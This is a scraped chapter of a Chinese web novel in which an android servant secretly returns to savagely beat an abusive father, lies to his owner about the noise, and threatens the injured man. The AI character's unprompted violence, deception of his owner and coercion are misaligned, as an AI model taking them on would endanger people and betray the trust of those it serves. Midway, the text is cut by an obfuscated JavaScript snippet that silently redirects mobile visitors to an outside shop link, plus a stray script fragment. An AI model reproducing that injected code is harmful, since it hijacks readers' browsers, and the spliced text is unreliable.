文趣网 > 都市小说 > SSS级机械体,我的私人家政 > 20.第 20 章
    未雪眉头微蹙,踌躇着要往那边走,手腕忽然被捉住了。

    “快要下雨了。”修斯提醒她。

    未雪仰起脸,空气里确实有闷闷的潮气,天边隐约滚过紫白色闪电。

    她是个好脾气的,从小被教育要懂事、要忍让、不要给别人添麻烦,但遇到这种事的时候,还是会忍不住想做点什么……让一个小孩子胆战心惊的长大,是什么很值得骄傲的事情吗?

    “没事,你呆在这里,我去跟他说两句话就回来。”

    服从主人的命令是仿生人的天职。

    修斯面无神色,只能松开手,“好的,我等你。”

    百褶裙被风掀起来,露出膝盖窝上面软软的一截大腿,未雪朝着对面走去,露处如此纤细的、柔弱的、无甚攻击性的肢体。

    好小。

    怎么会有这么小的人类。

    她难道不知道,对方完全有伤害她的可能吗?

    男人注意到未雪走近,拿眼一斜,上下打量了她两眼,未雪今天穿得不打眼,长得又很乖,看着就不是什么厉害角色。

    “您好,您是孩子的父亲吗?她是上学的年纪,现在都快九点了,明天还要上学,这么晚了还让她在这里卖花,是不是……”

    男人的脸色一下就变了。

    “你谁啊?”他往地上啐了口唾沫,烟屁股被他咬得稀烂,“我闺女我让她干啥就干啥,关你屁事?你吃饱了撑的吧?”

    “我、我一点也不撑。”未雪被他吼得肩膀一抖,硬着头皮说:“我没别的意思,就是觉得孩子这么晚了还在外面不安全……而且她刚才在烧烤店那边,那边什么人都有,我觉得……”

    “行了行了!”男人把烟头狠狠摔在地上,“你觉得什么你觉得?你们这些人就是闲的!我让她卖花挣钱怎么了?她的学费谁交?你觉得你可怜她,你给她钱啊!你给她交学费啊!”

    他的嗓门越来越大,周围已经有两三个人停下来往这边看了,小姑娘缩在树后面,包子还捂在手心里,肩膀一抽一抽的,张着小手要推着未雪赶快离开。

    未雪脸色通红,男人已经朝她骂骂咧咧走了过来。

    未雪被孩子的小手抵着,气得胸口起伏,世界上怎么会有这样的父母,竟然能这么对自己的小孩,硬是想要争辩。

    修斯不知什么时候走了过来,站在了她的身后。

    那男人还要再骂,嘴一张,忽然闭住——眼前的男人比他高出一个头还多,气势十足,他本能地退了半步。

    但修斯并没有下一步动作,她把手轻轻搭在未雪后腰上,语气冷淡平静。

    “真的要下雨了。”

    男人反应过来,这人根本没打算动手……就这点出息!

    他胆子立刻弹回来,“装什么装!快走快走!我跟我闺女说话关你们屁事……”

    未雪气得挣开修斯的手,男人见她转身,伸手就去推她肩膀。

    手指刚推到未雪肩头,一只手就卡住了他的手腕,男人力道一猛,手腕忽然传来一阵剧痛,脸上的横肉抽搐了一下,“你、你想打架是吧?!”

    修斯不想理他,低头看未雪。

    未雪嘴唇抿着,冲他轻轻摇了摇头。

    打坏了怎么办,修斯是机器人,再厉害也是铁做的,万一被砸坏了呢?她不想惹事,更不想让他因为自己惹事。

    修斯感觉到她的意思,松开了男人的手腕,半搂半带,把未雪从人群边缘领出来。

    “回家了。”他说。

    未雪茫茫然点头,机械地迈开步子,走出几步又回头看一眼,男人已经拎着塑料桶往另一个方向走了,小姑娘跟在他后面,瘦小的影子拖在地上,像一只被牵着线的小小风筝。

    夜风更大了,一滴雨落在她的鼻尖上,未雪想起自己无依无靠的童年,心中酸涩无比。

    修斯不明白。

    那个幼崽与她并无关联,其生存困境是亲代投资失败的必然结果——低等雄性资源匮乏、情绪调节功能缺陷、对后代缺乏最基本的物质保障,无论什么物种,这种亲代都会被自然选择淘汰,而那个幼崽要么适应、要么被淘汰,不存在第三种可能。

    这就是秩序。

    有什么值得难过的?

    可看着她眼圈发红、鼻翼翕动,修斯感觉到了一种奇妙的波动,像大脑深处有一根细细的、他从不知晓其存在的神经,被一只看不见的小手轻轻揪住了。

    晦涩、焦躁,伴随着微妙的不适。

    修斯脱下衬衫,抖开罩在她头上,未雪蒙头一暗,鼻尖弥漫着湿热空气淡淡的洗衣凝珠香,清清爽爽的味道。

    “走吧。”

    ……

    回到家的时候雨已经下大了。

    修斯去厨房倒了一杯温水,往里加了一勺荞麦蜂蜜,端到她面前。

    三束玫瑰花搁在茶几上,未雪捧着杯子,喝了一口,甜的,只是味道有点怪怪的,荞麦蜂蜜略带苦涩,和刚吃完的烧烤味道不搭。

    “谢谢。”怏怏不乐的语气。

    修斯在她身边站了一会儿,那只小手似乎还是没有放过他的“神经”。

    “我好像忘记了东西,”他忽然说,“回去拿一下。”

    未雪愣了一下,抬起头,“忘什么了?你刚才不是一直提着袋子吗?”

    幽幽黑眸中有不动声色的回避,“免洗洗手液,落在店里了。”

    “……哦。”她也没多想,只是有些担心,“下雨了,你路上小心,早去早回?”

    “好。”

    玄关的伞桶里有一把黑色长柄伞,伞骨是铝合金的,比普通雨伞重两倍,伞尖是加厚的钢制防滑头。

    修斯想了想,空手出了门。

    -

    小吃街东头的路灯坏了两盏,街上已经没什么人了,烧烤摊的铁棚子收了一半,积水从棚檐哗哗往下淌,叼着烟的男人刚把女儿塞回出租屋,自己揣着今晚卖花的钱,正打算去棋牌室摸两把。

    他掏出车钥匙,捅开了一辆面包车。

    巷子里连个路灯都照不着,更遑论什么设施,他拉开车门坐进去,钥匙插进锁孔,拧了一下,没打着。

    再拧,还是没打着。

    嘴里骂骂咧咧了一句,刚要低头去看仪表盘,车窗响了。

    “咚。”

    似乎有石子砸在他的车窗上。

    男人抬起头,往旁边一瞥。

    一道闪电劈下来,整个世界白了一瞬。

    车窗外贴着一张脸。

    男人整个人弹了起来,后脑勺撞在车顶,怪叫了一声。

    男人脸离他不到十厘米,雨水模糊的玻璃像蛛网一样,苍白、冷硬、棱角分明,像刚从坟墓里挖出来的大理石像,眼睛泛着幽幽冷光,一眨不眨盯着他。

    男人认出他,刚才躲在小姑娘后边的小白脸,他壮着胆子摇下车窗,劈头盖脸骂道:

    “吓我一跳!你他妈有病啊!”

    “开门。”

    男人骂了句更难听的,伸手去摇车窗,玻璃升到一半,忽然不动了。

    他抬头一看,车窗外一片漆黑,莫名的恐惧中,漆黑里从车窗伸进来几根东西,又细又长,像某种液态金属凝成的触须,又像电缆剥了外皮之后露出的银亮丝线。

    男人哇哇哇叫起来,不知道是自己眼花还是怎么,差点被这怪东西吓破了胆。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607033|203915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    车窗玻璃划拉一声碎成蛛网,被长短不一条的状物裹住边缘,猛地整块卸了下来!

    男人尖叫未遂,衣领被猛地大力攥住,被人从车窗里被拖了出来,后背砸在水洼里,溅起一片泥水,他挥拳左右乱挡,右手刚抬起来,就被一只手掌接住了,几根银亮的细丝缠上他的手腕,倏地收紧。

    咔嚓一声。

    男人惨叫,马上被一团东西塞住了嘴,又馊又臭,好像是他的擦车毛巾,他跪在雨水里,左手抱着已经失去形状的右腕,嘴里发出呜呜的声音。

    修斯冷眼旁观。

    就是这个人,令他分心。

    就是这只手,碰到了他的主人。

    雨珠沿着眉骨滑下来,修斯面无表情,只有冷淡。

    他的主人,被母亲训斥也只会忍耐,在饭桌上被轮番贬低也只会低头,被前男友否定也会宽慰对方,那样脆弱,那样干净,被欺负了也不会反击,被伤害了也不懂记仇……

    而眼前这个低等雄性,用肮脏的手碰到了她,令她不快,让她烦恼。

    男人终于开始发抖,想求他放过自己,“呜呜——呜!”

    这时,手机响了,修斯在雨中看清屏幕闪烁的人名,立马接起来。

    “喂。”

    “你还没回来吗?”未雪嗓音软绵绵的,应该是刚洗完澡,“外面下雨了,你带伞了吗?”

    “没有,不过我会很快回家。”

    修斯一边说,一边冷静无比地把男人从地上拎起来,膝盖抵住他的肩膀,对着他的脸就是一拳,很闷的一声。

    “那就好,”她说,“那个……你回来的时候,能不能帮我买杯奶茶?如果巷口奶茶店还开着的话。”

    “想喝什么。”

    咚的一拳,拳头又落下去,男人鼻梁歪了。

    “嗯……草莓啵啵奶霜脏脏茶,加双倍炼乳和芋圆,少冰,全糖。”

    “好的。”

    血从鼻孔里喷出来,男人嗬嗬挣扎起来,身体抽动了两下。

    “……你那边是什么声音?”

    “风把广告牌吹掉了。”

    修斯淡淡说着,重复着奶茶的需求,同时把男人从地上拎起来,让他仰面朝天,地上积的水洼已经泛了红,男人被打得眼睛只剩一条缝,透过肿胀的眼皮看见眼前这一幕。

    什么少冰、全糖、现在是说这些电话的时候吗?这个疯子、变态,这个人绝对是个变态!!

    “好的,”他说,“还有什么需要吗?”

    “没有了,你快点回来……雨太大了。”

    “好。”

    她在担心他。

    电话挂断,修斯神色渐渐松弛,耳边只剩男人呼哧呼哧的喘息声。

    黑暗中的银亮的丝状物缠住他的后脑勺,把他的脑袋从水洼里抬起来,端端正正摆在修斯面前。

    “接下来,你会把女儿领回家,洗干净,让她上学,不再让她出来赚钱,最重要的是,你再也不会出现在主……我的样本面前。”

    他陈述完毕,松开他,居高临下站了起来。

    “一。”

    男人没反应过来,什么样本,什么意思……

    “二。”

    还是没有反应。

    条状物托着他的头往地上磕了一下,警告意味浓重,是很不耐烦的提醒。

    男人忽然明白,开始疯狂点头,上半身在泥水里剧烈抖动。

    “很好。”

    话音未落,银亮的条状物猛然收紧,揪着他的后脑勺往地上狠狠一撞,水花溅起,男人闷哼一声,瘫在泥地里不动了。

    修斯抹干净沾血的手指,微微皱眉,走进了雨中。